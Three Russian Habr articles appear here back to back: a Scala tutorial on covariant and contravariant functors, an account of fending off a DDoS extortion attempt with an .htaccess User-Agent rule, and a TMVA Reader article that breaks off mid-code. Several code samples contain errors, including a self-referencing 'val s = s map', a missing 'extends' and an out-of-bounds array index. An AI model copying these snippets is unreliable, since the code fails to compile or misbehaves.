* [Про языковые механизмы абстракции](http://habrahabr.ru/company/golovachcourses/blog/266905/#1)
* [Про теорию категорий и Haskell](http://habrahabr.ru/company/golovachcourses/blog/266905/#2)
* [Что такое ковариантный функтор](http://habrahabr.ru/company/golovachcourses/blog/266905/#3)
* [Примеры ковариантных функторов](http://habrahabr.ru/company/golovachcourses/blog/266905/#4)
* [Ковариантный функтор: Identity Law](http://habrahabr.ru/company/golovachcourses/blog/266905/#5)
* [Ковариантный функтор: Composition Law](http://habrahabr.ru/company/golovachcourses/blog/266905/#6)
* [Ковариантный функтор: используем для оптимизации](http://habrahabr.ru/company/golovachcourses/blog/266905/#7)
* [Что такое контравариантный функтор](http://habrahabr.ru/company/golovachcourses/blog/266905/#10)
* [Примеры контравариантных функторов](http://habrahabr.ru/company/golovachcourses/blog/266905/#11)
* [Контравариантный функтор: Identity Law](http://habrahabr.ru/company/golovachcourses/blog/266905/#12)
* [Контравариантный функтор: Composition Law](http://habrahabr.ru/company/golovachcourses/blog/266905/#13)
* [Что дальше?](http://habrahabr.ru/company/golovachcourses/blog/266905/#20)
### Про языковые механизмы абстракции
Погружение во всякий принципиально новый язык программирования включает изучение:
1. Языковых механизмов для новых типов абстрагирования.
2. Типичных идиом/шаблонов, в которых эти типы абстрагирования используется.
Пример: в ООП изучаются понятия класса, экземпляра, наследования, полиморфизма, инкапсуляции, делегирования,… и шаблоны проектирования GoF, в которых все это разнообразие механизмов абстрагирования используется.
На мой взгляд, основная проблема с переходом Java => Scala заключается в том, что программисты не учат новые механизмы абстракции (generics of higher kind, path dependent types, type classes, macroses, ...) так как не понимают к чему их применить.
А не могут начать применять потому, что как только начинает идти речь про «предметы абстрагирования» (функтор, монада, моноид, зависимые типы, ...) — появляются теоретики из современной математики (теория категорий, абстрактная алгебра, математическая логика) и одним махом «опрокидывают все фигуры с доски». С точки зрения программистов математики зачастую ведут себя как фанатики секты Свидетелей Пришествия Категорий/ГомотопическойТеорииТипов/ИсчисленияКонструкций: вместо того, что бы говорить «на нашем языке» и привести конкретные примеры из области программирования, они сыпят терминами из абстрактной математики и отсылают к своим же [Священным Текстам](http://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038/).
В этой статье разобраны функторы (ковариантный и контравариантный) без обращения к теории категорий и на основе только базовые возможности Scala. Не используются **type classes** и **generics of higher kind** (как это делают, например, авторы библиотек Scalaz: [scala.scalaz.Functor](https://github.com/scalaz/scalaz/blob/series/7.2.x/core/src/main/scala/scalaz/Functor.scala) + [scala.scalaz.Contravariant](https://github.com/scalaz/scalaz/blob/series/7.2.x/core/src/main/scala/scalaz/Contravariant.scala), Cats: [scala.cats.Functor](https://github.com/non/cats/blob/master/core/src/main/scala/cats/Functor.scala) + [cats.functor.Contravariant](https://github.com/non/cats/blob/master/core/src/main/scala/cats/functor/Contravariant.scala), Algebird: [com.twitter.algebird.Functor](https://github.com/twitter/algebird/blob/develop/algebird-core/src/main/scala/com/twitter/algebird/Functor.scala)). Обратите внимание, часто в названиях типов, соответствующих идиомам covariant functor и contravariant functor, используют сокращенные названия — Functor и Contravariant.
Вообще говоря, функциональное программирование на Scala (уровня L2-L3) — это смещение относительно Java в нескольких направлениях (я вижу три). При этом смещение характеризуется одновременно четырьмя «компонентами»:
1. Новыми шаблонами/идиомами/перлами программирования.
2. Новыми языковыми механизмами Scala для реализации этих идиом.
3. Новыми библиотеками Scala с реализацией идиом на основе языковых механизмов.
4. Новыми разделами математики, которые послужили источником для ключевых идей идиомы.
Надо отметить, что
* Изучение идиом — **обязательно** (это и есть «ядро FP»).
* Изучение языковых механизмов абстракции — **требуется в production mode** для реализации идиом, приспособленных к повторному использованию.
* Изучение типичных функциональных библиотек Scala — **желательно в production mode** для повторного использования уже написанных и отлаженных идиом.
* Изучение соответствующего раздела математики **не является обязательным** для понимания или использования идиом.
Как минимум можно выделить «три смещения»: категориальное, алгебраическое, логическое (по названиям разделов математики)
| Идиомы FP | Механизмы Scala | Библиотеки Scala | Разделы математики |
| --- | --- | --- | --- |
| Covariant functor, applicative functor, monad, arrow | Type classes, generics of higher kind | Scalaz, Cats | Теория Категорий |
| Dependent pair, dependent function | Path dependent types | Shapeless | Математическая логика |
| Моноид, группа, поле, кольцо | Type classes, generics of higher kind | Algebird, Spire | Алгебра |
Если кратко, то:
* **generics of higher king** служат для построения повторно используемой абстракции (например, ковариантного функтора). В ООП, в таком случае, обычно создают тип-предок.
* **type classes** служат для «применения абстракции» к Вашему коду (класс пользователя «становится» ковариантным функтором). В ООП, в таком случае, обычно наследуются от предка-абстракции.
Наши примеры не будут использовать generics of higher king + type classes и потому не будут приспособлены к повторному использованию (а «старые добрые трюки ООП» тут не особенно подходят). Но даже не будучи готовыми к повторному использованию наши примеры хорошо продемонстрируют суть идиом.
### Про теорию категорий и Haskell
В середине 20-го века возник новый раздел математики — теория категорий (отмечу, что сами математики часто называют его [«абстрактная чепуха»](https://en.wikipedia.org/wiki/Abstract_nonsense)). Теория категорий произошла из общих идей/конструкций, которые широко используются во многих фундаментальных разделах математики (теория множеств, топология, функциональный анализ, ...) и в данный момент претендует на место основания/базы всей математики (вытесняя теорию множеств, на которой строили математику с начала 20-го века).
Но если теория множеств акцентирует внимание на самих множествах (элементы, операции над множествами, мощность множества, множества со структурой (упорядоченные множества, частично упорядоченные множества), ...) и отображения множеств (функции из множества в множество) находятся на втором плане, то в теории категорий основой являются категории, а, упрощенно, **категория = множество + отображения**. Отображение — это синоним функции (точнее, отображение = соответствие элементам области определения элементов области значений без указания непосредственно процедуры «перехода» от аргументов к значениям, отображение = функция заданная таблично, отображение = «внешний интерфейс» функции в смысле **f: A => B** без указания «внутренней реализации» (тела функции)), и вот тут оказывается, что такой акцент на функциях как таковых очень важен для функционального программирования.
Концентрация на отображениях породила богатые функциональные абстракции (функторы, монады, ...) и эти абстракции были перенесены в языки функционального программирования (наиболее известны реализации в Haskell). Рассвет Scala (2005-2010) смещен на 15 лет относительно рассвета Haskell (1990-1995) и многие вещи просто перенесены уже готовыми из Haskell в Scala. Таким образом, для Scala-программиста важнее разбираться с реализациями в Haskell, как основным источником категориальных абстракций, а не в самой теории категорий. Это связано с тем, что при переносе теория категорий => Haskell были видоизменены, утрачены или добавлены множество важных деталей. Важных для программистов, но второстепенных для математиков.
Вот пример переноса:
1. Теория категорий:
* [Covariant functor](https://en.wikipedia.org/wiki/Functor)
* [Applicative functor](http://cstheory.stackexchange.com/questions/12412/explaining-applicative-functor-in-categorical-terms-monoidal-functors)
* Arrow
* [Monad](https://en.wikipedia.org/wiki/Monad_(category_theory))
* [Kleisli](https://en.wikipedia.org/wiki/Kleisli_category)
2. Haskell:
* [Covariant functor](https://wiki.haskell.org/Functor)
* [Applicative functor](https://wiki.haskell.org/Applicative_functor)
* [Arrow](https://www.haskell.org/arrows/)
* [Monad](https://wiki.haskell.org/Monad)
* [Kleisli](https://hackage.haskell.org/package/data-category-0.6.1/docs/Data-Category-Kleisli.html)
3. Scala (библиотека Scalaz)
* [Covariant functor](https://github.com/eed3si9n/scalaz/blob/scalaz-seven/core/src/main/scala/scalaz/Functor.scala)
* [Applicative functor](https://github.com/eed3si9n/scalaz/blob/scalaz-seven/core/src/main/scala/scalaz/Applicative.scala)
* [Arrow](https://github.com/eed3si9n/scalaz/blob/scalaz-seven/core/src/main/scala/scalaz/Arrow.scala)
* [Monad](https://github.com/eed3si9n/scalaz/blob/scalaz-seven/core/src/main/scala/scalaz/Monad.scala)
* [Kleisli](http://docs.typelevel.org/api/scalaz/nightly/index.html#scalaz.Kleisli)
### Что такое ковариантный функтор
Одни авторы рекомендуют считать, что **Covariant Functor — это контейнер** (если быть более точным, то ковариантный функтор — это скорее «половина контейнера»). Предлагаю запомнить эту метафору, но относится к ней именно как к метафоре, а не определению.
Другие, что [**Covariant Functor — это «computational context»**](https://wiki.haskell.org/Typeclassopedia#Functor). Это продуктивный подход, но он полезен, когда мы уже в полной мере освоили понятие и стараемся «выжать из него максимум». Пока игнорируем.
Третьи предлагают «более синтаксический подход». **Covariant Functor — это некий тип с определенным методом**. Метод должен соответствовать определенным правилам (двум).
Я предлагаю использовать «синтаксический подход» и использовать метафору контейнера/хранилища.
С точки зрения «синтаксического подхода», ковариантным функтором является всякий тип (назовем его **X**) имеющий type parameter (назовем его **T**) с методом, который имеет следующую сигнатуру (назовем его **map**)
```
trait X[T] {
def map(f: T => R): X[R]
}
```
**Важно:** мы не будем наследоваться от этого trait-а, мы будем искать похожие типы.
«Синтаксический подход» хорош тем, что он позволяет свести в общую схему многие категориальные конструкции
```
trait X[T] {
// covariant functor (functor)
def map[R](f: T => R): X[R]
// contravariant functor (contravariant)
def contramap[R](f: R => T): X[R]
// exponential functor (invariant functor)
def xmap[R](f: (T => R, R => T)): X[R]
// applicative functor
def apply[R](f: X[T => R]): X[R]
// monad
def flatMap[R](f: T => X[R]): X[R]
// comonad
def coflatMap[R](f: X[T] => R): X[R]
}
```
Важно: указанные тут методы для некоторых абстракций являются единственными требуемыми (covariant / contravariant / exponential functors), а для других (applicative functor, monad, comonad) — одним из нескольких требуемых методов.
### Примеры ковариантных функторов
Те, кто уже начали программировать на Scala (или на Java 8), тут же могут назвать множество «типов-контейнеров», которые являются ковариантными функторами:
**Option**
```
import java.lang.Integer.toHexString
object Demo extends App {
val k: Option[Int] = Option(100500)
val s: Option[String] = k map toHexString
}
```
или чуть ближе к жизни
```
import java.lang.Integer.toHexString
object Demo extends App {
val k: Option[Int] = Map("A" -> 0, "B" -> 1).get("C")
val s: Option[String] = s map toHexString
}
```
**Try**
```
import java.lang.Integer.toHexString
import scala.util.Try
object Demo App {
val k: Try[Int] = Try(100500)
val s: Try[String] = k map toHexString
}
```
или чуть ближе к жизни
```
import java.lang.Integer.toHexString
import scala.util.Try
object Demo extends App {
def f(x: Int, y: Int): Try[Int] = Try(x / y)
val s: Try[String] = f(1, 0) map toHexString
}
```
**Future**
```
import java.lang.Integer.toHexString
import scala.concurrent.ExecutionContext.Implicits.global
import scala.concurrent.Future
object Demo extends App {
val k: Future[Int] = Future(100500)
val s: Future[String] = k map toHexString
}
```
или чуть ближе к жизни
```
import java.lang.Integer.toHexString
import scala.concurrent.ExecutionContext.Implicits.global
import scala.concurrent.Future
object Demo extends App {
def calc: Int = (0 to 1000000000).sum
val k: Future[Int] = Future(calc)
val s: Future[String] = k map toHexString
}
```
**List**
```
import java.lang.Integer.toHexString
object Demo extends App {
val k: List[Int] = List(0, 42, 100500)
val s: List[String] = k map toHexString
}
```
**Parser**
```
import java.lang.Integer.toHexString
import scala.util.parsing.combinator._
object Demo extends RegexParsers with App {
val k: Parser[Int] = """(0|[1-9]\d*)""".r ^^ { _.toInt }
val s: Parser[String] = k map toHexString
println(parseAll(k, "255"))
println(parseAll(s, "255"))
}
>> [1.4] parsed: 255
>> [1.4] parsed: FF
```
В целом метафора ковариантного функтора как контейнера, судя по примерам, работает. Действительно
* Option — «как бы контейнер» на один элемент, где может что-то лежит (Some), а может и нет (None).
* Try — «как бы контейнер» на один элемент, где может что-то лежит (Success), а может и нет (Failure, точнее вместо элемента лежит исключение).
* Future — «как бы контейнер» на один элемент, где может что-то уже лежит, может будет лежать, или уже лежит исключение, или будет лежать исключение или никогда ничего лежать не будет.
* List — контейнер, в котором может быть 0...N элементов
* Parser — тут чуть сложнее, в нем ничего не «хранится», Parser — это способ извлекать данные из строки. Тем не менее, Parser — это источник данных и в этом он похож на контейнер.
Ковариантный функтор — это не просто наличие метода с определенной сигнатурой, это также выполнение двух правил. Математики тут обычно отсылают к теории категорий, и говорят, что эти правила — следствие того, что [функтор — это гомоморфизм категорий](https://en.wikipedia.org/wiki/Functor), то есть отображение категории в категорию, сохраняющее их структуру (а частью структуры категории являются единичный элемент-стрелка (правило Identity Law) и правила композиции стрелок (правило Composition law)).
Такой подход, в целом, непродуктивен в программировании. Считайте, что в функциональном программировании эти два правила необходимы для возможности трансформировать программы с сохранением функциональности (обычно с целью оптимизации).
### Ковариантный функтор: Identity Law
Для любого ковариантного функтора 'fun' должно тождественно выполняться следующее правило IdentityLaw.case0(fun) — то же самое что и IdentityLaw.case1(fun).
```
object IdentityLaw {
def case0[T](fun: Functor[T]): Functor[T] = identity(fun)
def case1[T](fun: Functor[T]): Functor[T] = fun.map(identity)
}
```
где identity — это полиморфная тождественная функция (единичная функция) из Predef.scala
```
object Predef ... {
def identity[A](x: A): A = x
...
}
```
Совсем кратко — fun.map(identity) ничего не должно менять внутри функтора.
Значит контейнер, который хранит версию и увеличивает ее при каждом отображении — не соответствует высокому званию ковариантного функтора
```
// Это - НЕ ковариантный функтор
class Holder[T](value: T, ver: Int = 0) {
def map[R](f: T => R): Holder[R] = new Holder[R](f(value), ver + 1)
}
```
так как он «подсчитывает» количество операций отображения (даже отображения функцией identity).
А вот такой код — соответствует первому правилу функтора (и второму тоже).
```
// Это - ковариантный функтор
class Holder[T](value: T, ver: Int = 0) {
def map[R](f: T => R): Holder[R] = new Holder[R](f(value), ver)
}
```
Тут версия просто прикреплена к данным и неизменно сопровождает их при отображении.
### Ковариантный функтор: Composition Law
Для любого ковариантного функтора 'fun[T]' и любых функций 'f: ' и 'g' должно тождественно выполняться следующее правило CompositionLaw.case0(fun) — то же самое что и CompositionLaw.case1(fun).
```
object LawСompose extends App {
def case0[T, R, Q](fun: Functor[T], f: T => R, g: R => Q): Functor[Q] =
(fun map f) map g
def case1[T, R, Q](fun: Functor[T], f: T => R, g: R => Q): Functor[Q] =
fun map (f andThen g)
}
```
То есть произвольный функтор-контейнер, который последовательно отображают функцией 'f' и потом функцией 'g' эквивалентен тому, что мы строим новую функцию-композицию функций f и g (f andThen g) и отображаем один раз.
Рассмотрим пример. Поскольку в качестве функтора часто рассматривают контейнеры, то давайте сделаем свой функтор в виде рекурсивного типа данных — контейнера типа бинарное дерево.
```
sealed trait Tree[T] {
def map[R](f: T => R): Tree[R]
}
case class Node[T](value: T, fst: Tree[T], snd: Tree[T]) extends Tree[T] {
def map[R](f: T => R) = Node(f(value), fst map f, snd map f)
}
case class Leaf[T](value: T) extends Tree[T] {
def map[R](f: T => R) = Leaf(f(value))
}
```
Здесь метод map(f: T=>R) применяет функцию 'f' к элементу типа 'T' в каждом листе или узле (Leaf, Node) и рекурсивно распространяет на потомков узла (Node). Значит у нас
* сохраняется структура дерева
* меняются значения данных, «висящих на дереве»
При попытке менять структуру дерева при отображениях нарушаются оба правила (и Identity Law и Composition Law).
НЕ функтор: меняю местами при отображении потомков каждого узла
```
case class Node[T](value: T, fst: Tree[T], snd: Tree[T]) extends Tree[T] {
def map[R](f: T => R) = Node(f(value), snd map f, fst map f)
}
```
НЕ функтор: с каждым отображением дерево подрастает, листья превращаются в ветки
```
case class Leaf[T](value: T) extends Tree[T] {
def map[R](f: T => R) = Node(f(value), Leaf(f(value)), Leaf(f(value)))
}
```
Если посмотреть на такие (неправильные) реализации бинарного дерева как функтора, то видно, что они вместе с отображением данных, так же подсчитывают количество применений map в виде изменения структуры дерева. Значит И реагируют на identity и пара применений f и g отличается от одного применения f andThen g.
### Ковариантный функтор: используем для оптимизации
Давайте рассмотрим пример, демонстрирующий пользу от аксиом ковариантного функтора.
В качестве отображений рассмотрим линейные функции над целыми числами
```
case class LinFun(a: Int, b: Int) {
def apply(k: Int): Int = a * k + b
def andThen[A](that: LinFun): LinFun = LinFun(this.a * that.a, that.a * this.b + that.b)
}
```
Вместо самых общих функций вида T=>R я буду использовать их подмножество — линейные функции над Int, так как в отличии от общего вида я умею строить композиции линейных функций в явном виде.
В качестве функтора рассмотрю рекурсивный контейнер типа односвязный список целых чисел (Int)
```
sealed trait IntSeq {
def map(f: LinFun): IntSeq
}
case class Node(value: Int, tail: IntSeq) extends IntSeq {
override def map(f: LinFun): IntSeq = Node(f(value), tail.map(f))
}
case object Last extends IntSeq {
override def map(f: LinFun): IntSeq = Last
}
```
А теперь — демонстрация
```
object Demo extends App {
val seq = Node(0, Node(1, Node(2, Node(3, Last))))
val f = LinFun(2, 3) // k => 2 * k + 3
val g = LinFun(4, 5) // k => 4 * k + 5
val res0 = (seq map f) map g // slow version
val res1 = seq map (f andThen g) // fast version
println(res0)
println(res1)
}
>> Node(17,Node(25,Node(33,Node(41,Last))))
>> Node(17,Node(25,Node(33,Node(41,Last))))
```
Мы можем либо
1. ДВА раза перебрать все элементы списка (ДВА раза пройтись по памяти)
2. и ДВА раза выполнить арифметические операции (\* и +)
либо построить композицию f andThen g и
1. ОДИН раз перебирать все элементы списка
2. и ОДИН раз выполнить арифметические операции
### Что такое контравариантный функтор
Напомню, что ковариантным функтором называется всякий класс **X**, который имеет метод с определенной сигнатурой (условно называемый **map**) и подчиняющийся определенным правилам (**Identity Law**, **Composition Law**)
```
trait X[T] {
def map[R](f: T => R): X[R]
}
```
В свою очередь контравариантным функтором называется всякий класс **X**, который имеет метод (условно называемый **contramap**) с определенной сигнатурой и подчиняющийся определенным правилам (они тоже называются **Identity Law**, **Composition Law**)
```
trait X[T] {
def contramap[R](f: R => T): X[R]
}
```
В этом месте недоуменный читатель может остановиться. Постойте, но если у нас есть контейнер, содержащий **T** и мы получаем функцию **f: T => R**, то понятно каким образом мы получаем контейнер с **R**. Передаем функцию контейнеру, тот погружает функцию внутрь себя и не извлекая элемент применяет к нему функцию. Однако совершенно непонятно, как, имея контейнер с **T** и получив функцию **f: R => T**, применить ее в «обратном порядке»?!
В математике в общем виде не у всякой функции есть обратная и нет общего способа найти обратную даже когда она существует. В программировании же нам необходимо действовать конструктивно (не просто работать с существованием, единственность,… но строить и исполнять конструкции) — надо каким-то образом по функции **f: R => T** построить функцию **g: T => R** что бы применить ее к содержимому контейнера!
И вот тут оказывается, что наша метафора (ковариантный функтор ~ контейнер) не работает. Давайте разберем почему.
Всякий контейнер предполагает две операции
* put — поместить элемент в контейнер
* get — извлечь элемент из контейнера
однако у рассмотренных примеров (Option, Try, Future, List, Parser) в той или иной мере есть метод get, но нет метода put! В Option/Try/Future элемент попадает в конструкторе (или в методе apply от companion object) или же в результате какого-то действия. В Parser вообще нельзя попасть, так как Parser[T] — «перерабатывает» строки в T. **Parser[T] — это источник T, а не хранилище!**
И вот тут кроется секрет ошибки в метафоре.
**Ковариантный функтор — это половина контейнера. Та часть, которая отвечает за извлечение данных.**
Давайте изобразим это в виде схемы
```
+-------------------------+
| +------+ T | R
| | X[T] -----> f: T=>R ---->
| +------+ |
+-------------------------+
```
То есть «на выходе из» ковариантного функтора элемент данных типа **T** подстерегает функция **f: T=>R** и вот эта композиция является, в свою очередь, ковариантным функтором типизированным **R**.
В таком случае становится понятным, почему не контейнеры-хранилища, но типичные источники данных Iterator и Stream тоже являются ковариантными функторами.
???
???
Схематично ковариантный функтор выглядит следующим образом, мы «прикручиваем» преобразование **f: R => T** «на входе», а не «на выходе».
```
+-------------------------+
R | T +------+ |
-----> f: R=>T -----> X[T] | |
| +------+ |
+-------------------------+
```
### Примеры контравариантных функторов
Для поиска примеров контравариантных функторов в стандартной библиотеке Scala нам надо забыть про метафору контейнера и искать тип с одним type parameter, который только принимает данные в виде аргументов, но не возвращает в виде результата функции.
В качестве примера можно взять [Ordering](http://www.scala-lang.org/api/2.11.0-M2/index.html#scala.math.Ordering) и [Equiv](http://www.scala-lang.org/api/2.11.0-M2/index.html#scala.math.Equiv)
Пример: **Ordering**
```
import scala.math.Ordering._
object Demo extends App {
val strX: Ordering[String] = String
val f: (Int => String) = _.toString
val intX: Ordering[Int] = strX on f
}
```
Имея способ сравнивать между собой строки и имея функцию преобразования целого числа в строку, я могу построить способ сравнивать числа как строки.
Небольшое замечание относительно строки
```
val strX: Ordering[String] = String
```
в данном случае берется не java.lang.String, а scala.math.Ordering.String
```
package scala.math
trait Ordering[T] extends ... {
trait StringOrdering extends Ordering[String] {
def compare(x: String, y: String) = x.compareTo(y)
}
implicit object String extends StringOrdering
...
}
```
а в качестве метода **contramap** выступает метод **on**
```
package scala.math
trait Ordering[T] extends ... {
def on[R](f: R => T): Ordering[R] = new Ordering[R] {
def compare(x: R, y: R) = outer.compare(f(x), f(y))
}
...
}
```
Пример: **Equiv**
```
import java.lang.String.CASE_INSENSITIVE_ORDER
import scala.math.Equiv
import scala.math.Equiv.{fromFunction, fromComparator}
object Demo extends App {
val strX: Equiv[String] = fromComparator(CASE_INSENSITIVE_ORDER)
val f: (Int => String) = _.toString
val intX: Equiv[Int] = fromFunction((x, y) => strX.equiv(f(x), f(y)))
}
```
Мы строим метод сравнения строк (отношение эквивалентности scala.math.Equiz) на основе метода компаратора java.lang.String.CASE\_INSENSITIVE\_ORDER
```
package java.lang;
public final class String implements ... {
public static final Comparator CASE\_INSENSITIVE\_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator, java.io.Serializable {
public int compare(String s1, String s2) {...}
...
}
...
}
```
используя метод fromComparator
```
object Equiv extends ... {
def fromComparator[T](cmp: Comparator[T]): Equiv[T] = new Equiv[T] {
def equiv(x: T, y: T) = cmp.compare(x, y) == 0
}
...
}
```
а вместо метода contramap использует громоздкую конструкцию на основе метода fromFunction
```
object Equiv extends ... {
def fromFunction[T](cmp: (T, T) => Boolean): Equiv[T] = new Equiv[T] {
def equiv(x: T, y: T) = cmp(x, y)
}
...
}
```
### Контравариантный функтор: Identity Law
Как и в случае с ковариантным функтором, контравариантному функтору кроме метода с сигнатурой необходимо следовать двум правилам.
Первое правило (Identity Law) гласит: для всякого контравариантного функтора **fun** должно выполняться IdentityLaw.case0(fun) тождественно равно IdentityLaw.case1(fun)
```
object IdentityLaw {
def case0[T](fun: Contravariant[T]): Contravariant[T] = identity(fun)
def case1[T](fun: Contravariant[T]): Contravariant[T] = fun.contramap(identity)
}
```
То есть отображение контравариантного функтора единичной функцией не меняет его.
### Контравариантный функтор: Composition Law
Второе правило (Composition Law) гласит: для всякого контравариантного функтора **fun[T]** и произвольной пары функций **f: Q => R** и **g: R => T** пары должно быть IdentityLaw.case0(fun) тождественно равно IdentityLaw.case1(fun)
```
object CompositionLaw {
def case0[Q, R, T](fun: Contravariant[T], f: Q => R, g: R => T): Contravariant[Q] =
(fun contramap g) contramap f
def case1[Q, R, T](fun: Contravariant[T], f: Q => R, g: R => T): Contravariant[Q] =
fun contramap (f andThen g)
}
```
То есть отображение контравариантного функтора последовательно парой функций эквивалентно единичному отображению композицией функций (инвертированной).
### Что дальше?
Понятия ко- и контра-вариантного функтора являются только стартовой точкой для серьезного изучения применения абстракций из теории категорий в функциональном программировании (в терминах Scala — переход к использованию библиотек Scalaz, Cats).
Дальнейшие шаги включают:
1. Изучение композиций ко- и контра- вариантных функторов (BiFunctor, ProFunctor, Exponential (Invariant) Functor)
2. Изучение более специализированных конструкций (Applicative Functor, Arrow, Monad), которые уже действительно составляют новую парадигму работы с вычислениями, вводом-выводом, обработкой ошибок, мутирующим состоянием. Укажу хотя бы на то, что всякая монада является ковариантным функтором.
К сожалению, размер статьи не позволяет рассказать это все за один раз.
P.S. Для тех, кто прочитал статью до самого конца предлагаю мой курс [«Scala for Java Developers»](https://www.udemy.com/scala-for-java-developers-ru/?couponCode=HABR-COVARIANT-FUNCTOR) всего за 25% цены (просто идите по ссылке или воспользуйтесь купоном **HABR-COVARIANT-FUNCTOR**). Количество скидочных купонов ограничено! | https://habr.com/ru/post/266905/ | null | ru | null |
# Школьный DDoS и стоит ли его бояться
Современный интернет предлагает четыреста относительно честных способов зарабатывания денег. К сожалению, не все алчные до наживы персонажи ими ограничиваются. К счастью, только некоторые из них обладают достаточной квалификацией, чтобы причинить серьезный вред. Тем не менее их действия для неподготовленных людей могут оказаться достаточно разрушительными. Под катом вы найдете душещипательную историю с угрозами, шантажом, вероломным нападением и традиционным киношным хеппиэндом.
Один из наших клиентов имеет интернет-магазин по продаже компьютерной техники. Утром в пятницу 25-го ноября он получил угрожающее письмо:
> *Здравствуйте!
>
>
>
> Вам необходимо заплатить 200$ (эквивалент в Украинских гривнах — 1600гривен). Вам необходимо подойти к терминалу (найти их можете в любом супер маркете) и выбрать оплату WebMoney. Обращаем Ваше внимание на то, что необходимо не на прямую перечислить средства на кошеелк, а купить ваучеры (вм-карты) на нужную сумму. В терминале выбираете оплату WebMoney и покупаете ваучеры, далее на чеке будут номера и коды ваучеров, которые вы должны прислать в письме. Обращаем ваше внимание, что не все терминалы позволяют купить ваучеры вм, но большинство. Оплату необходимо произвести в течении суток.В противном случае ваш сайт будет атакован мощнейшей DDoS атакой, из-за которой ваш сайт перестанет быть доступен на долгое время, вплоть до нескольких недель и даже более. Атака прекращаться не будет.*
— орфография и пунктуация сохранены.
Злоумышленники не утруждали себя отправкой отдельного письма каждой жертве, поэтому в поле получателя были перечислены адреса нескольких, не связанных между собой, интернет-магазинов.
Естественной его реакцией был не совсем вежливый отказ. Посчитав инцидент исчерпанным он его благополучно забыл… До вечера.
Вечером в 17:09 началась DDoS-атака, небольшая, но достаточная, чтобы вызвать перебои в работе сайта. В течение четверти часа ваш покорный слуга был поставлен в известность о том, что что-то происходит.
Беглый взгляд на логи Apache сразу же выявил закономерность в действиях злоумышленников:
```
X.X.X.X - - [25/Nov/2011:17:19:17 +0200] "GET //user-agreement.html HTTP/1.1" 200 32283 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.6.30 Version/10.63"
Y.Y.Y.Y - - [25/Nov/2011:17:19:18 +0200] "GET //user-agreement.html HTTP/1.1" 200 32283 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.6.30 Version/10.63"
Z.Z.Z.Z - - [25/Nov/2011:17:19:17 +0200] "GET //user-agreement.html HTTP/1.1" 200 32283 "-" "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.6.30 Version/10.63"
```
Думаю, люди, знакомые с настройкой веб-сервера уже знают, что будет дальше. Но я возьму на себя смелость продолжить, вдруг кому-нибудь пригодится готовый рецепт.
Сразу бросается в глаза, что несмотря на то, что атака велась с нескольких IP-адресов, атакуемый URL и User-Agent браузера использовался один и тот же. Само-собой напрашивается использовать эти данные для отсева вредителей. Поскольку хочется максимально оградить обычных пользователей от нашего небольшого конфликта, будем использовать только User-Agent, благо, он скопирован у достаточно старой версии оперы.
Дабы потешить самолюбие нападающих, в корне сайта был создан файл-заглушка out-of-order.html с простым содержимым:
```
Our site is temporarily unavailable
===================================
```
А в .htaccess добавлены пять строк:
```
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^Opera/9.80\s\(Windows\sNT\s5\.1\;\sU\;\sru\)\sPresto/2\.6\.30\sVersion/10\.63$
RewriteRule ^(.*)$ out-of-order.html
```
После чего на все запросы с указанным User-Agent стал отдаваться маленький статический файл. С этого момента атака перестала оказывать сколь-либо существенное влияние на работу сервера.
Но наша борьба еще не окончена! Был выбран один из IP-адресов атакующих и с помощью whois определен его провайдер. Администратор, ответивший на звонок любезно согласился проверить, действительно ли осуществляется атака с этого адреса. Удостоверившись, он позвонил абоненту и поставил его в известность о происходящих безобразиях. Со слов администратора, абонент всячески отрицал свою вину но пообещал изменить пароль к своему Wi-Fi, «который, наверное, злодеи поломали». Спустя пару минут атака прекратилась не только с этого IP, но и со всех остальных, включая другие города. (Мы же все еще помним, что абонент совершенно не при чем!)
В приподнятом настроении мы разослали всем получившим письмо с угрозой рецепт защиты и довольные разошлись по домам. | https://habr.com/ru/post/133418/ | null | ru | null |
# Машинное обучение с помощью TMVA. Reader модели
[Продолжу обещанный рассказ](https://habrahabr.ru/post/306242/) о том, как можно применять полученную модель на практике, заодно попытаюсь более подробно раскрыть тему эксклюзивности TMVA.
Допустим, Вы работаете в проекте, требующем максимального быстродействия системы (геймдев, картографический сервис или же данные с коллайдера), тогда очевидно, что Ваш код написан на языке, который предельно близок к железу — C/C++. И однажды возникает необходимость добавить к сервису какую-то математику в зависимости от потребностей проекта. Обычно взгляд падает на [змеиный язык](https://www.python.org/), который имеет множество удобных математических библиотек для прототипирования идей, но при этом бесполезном в работе с действительно большим объёмом данных и поедающем словно удав все ресурсы машины.
В этом случае, Вам потребуется набирать людей в команду, которые будут ~~рисовать на коленке~~ кодить на питоне, т.к. разработка на промышленных ЯП обычно занимает несколько больше времени (обычно так, но на практике встречал людей, которые пишут годный С++ код за время среднестатистического питониста).
CERN'овская библиотека [ROOT](https://root.cern.ch/) решает проблему прототипирования алгоритмов, ускоряя процесс разработки для ценителей плюсов.
**Eddy Offermann, Renaissance Technologies**"ROOT provides a toolbox like R or MATLAB for statistical analysis but allows *a more rapid implementation of research into a production environment* by using C++ also for prototyping ideas in macros. In addition, ROOT has the tools to store and filter massive amounts of data in an efficient way"
Вы можете компилировать код, можете просто писать макросы, важно — скорость разработки увеличивается, и для этого совсем не обязательно тратить время на поддержку не продакшн тулзов.
Вернемся непосредственно к Reader'у в TMVA. Как я уже говорил, он позволяет считывать построенную модель и применять её на данных со схожей структурой, можно выгрузить информацию (id, номер телефона, email) с определённой отсечкой скор.балла. Т.е. полученная в TMVA модель является переносимой…
Образец Reader'a:
```
{
cout <<" >>>> _____________________Reader application launched_________________________________________________________\n";
//подаём файл с данными для скоринга для чтения в ридер
TFile* realdata = new TFile("ForScoring.csv");
//создаём выходной root-файл
TFile *target = new TFile("real_data-mva.root","RECREATE" );
//объявляем класс ридера
TMVA::Reader *reader = new TMVA::Reader( "V:Color:!Silent" );
//переменные считываются с нулевого индекса
Float_t var[2];
reader->AddVariable ("Param0", &var[0]);
reader->AddVariable ("Param1", &var[1]);
reader->AddVariable ("Param2", &var[2]);
//reader->AddSpectator("id", &var[3]); //if we need download it
cout <<" >>>> All is good, next phase \n";
//считываем xml файл модели,лежащем в созданной директории weights
reader->BookMVA("SVM", "weights/TMVAClassification_SVM.weights.xml");
Float_t uservar[3];
